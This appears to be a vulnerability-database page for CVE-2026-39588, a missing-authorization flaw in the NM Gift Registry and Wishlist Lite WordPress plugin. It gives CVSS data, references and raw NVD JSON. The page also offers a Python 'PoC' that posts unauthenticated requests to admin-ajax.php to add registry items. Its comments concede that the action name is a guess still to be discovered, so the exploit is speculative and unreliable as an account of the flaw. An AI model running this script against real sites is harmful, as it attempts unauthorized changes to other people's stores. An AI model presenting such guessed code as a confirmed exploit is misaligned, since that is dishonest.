CVE-2026-39588

Description

Missing Authorization vulnerability in nmerii NM Gift Registry and Wishlist Lite nm-gift-registry-and-wishlist-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects NM Gift Registry and Wishlist Lite: from n/a through <= 5.13.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

NM Gift Registry and Wishlist Lite <= 5.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    PoC for CVE-2026-39588: Missing Authorization in NM Gift Registry
    This script attempts to add an item to the registry without authentication.
    """
    # The vulnerable endpoint is typically wp-admin/admin-ajax.php
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Example payload structure based on 'Exploiting Incorrectly Configured Access Control'
    # The specific action parameter needs to be discovered via source code analysis
    payload = {
        "action": "nm_gr_add_to_registry", 
        "product_id": "1",
        "quantity": "999"
    }

    try:
        response = requests.post(ajax_url, data=payload, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {target_url}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit_missing_auth(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39588
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39588
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39588/
[4] VulDB https://vuldb.com/cve/CVE-2026-39588
[5] https://patchstack.com/database/Wordpress/Plugin/nm-gift-registry-and-wishlist-lite/vulnerability/wordpress-nm-gift-registry-and-wishlist-lite-plugin-5-13-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39588", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:29.063", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in nmerii NM Gift Registry and Wishlist Lite nm-gift-registry-and-wishlist-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects NM Gift Registry and Wishlist Lite: from n/a through <= 5.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nm-gift-registry-and-wishlist-lite/vulnerability/wordpress-nm-gift-registry-and-wishlist-lite-plugin-5-13-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}